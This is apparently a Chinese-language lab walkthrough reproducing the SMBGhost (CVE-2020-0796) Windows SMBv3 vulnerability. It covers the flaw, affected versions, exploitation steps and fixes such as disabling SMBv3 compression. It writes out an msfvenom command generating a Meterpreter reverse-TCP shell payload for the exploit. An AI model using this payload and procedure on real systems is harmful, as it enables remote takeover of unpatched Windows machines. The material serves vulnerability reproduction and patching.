CVE-2020-0796_SMB-Ghost漏洞复现

简介

CVE-2020-0796是SMBv3.1.1压缩机制中的一个bug,也称为”SMBGhost”。这个错误是整数溢出错误,它发生在srv2.sys SMB服务器驱动程序的Srv2DecompressData函数中。Srv2DecompressData函数接收客户机发送的压缩消息,分配所需的内存,并解压数据。然后,如果偏移量字段不为零,它将放在压缩数据之前的数据复制到已分配缓冲区的开始位置。如果攻击者精心构造了一段消息发送给SMB,有可能将会导致溢出执行任意命令。

影响版本

  • Windows 10 v1903
  • Windows 10 v1909
  • Windows Server v1903
  • Windows Server v1909

利用

攻击机:Kali
目标机:Windows 10 v1903
下载exp

步骤:

  1. 下载exp
  2. 生成shellcode
    1
    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.40.228 lport=3333 -f py -o shellcode.txt
  3. 将生成的shellcode替换exp里面的USER_PAYLOAD
  4. msf开启监听
  5. 执行exp



漏洞修复方式

1.更新系统补丁

2.禁用445端口

3.禁用SMBv3压缩

要禁用SMBv3功能要在powershell中执行

1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force

参考文章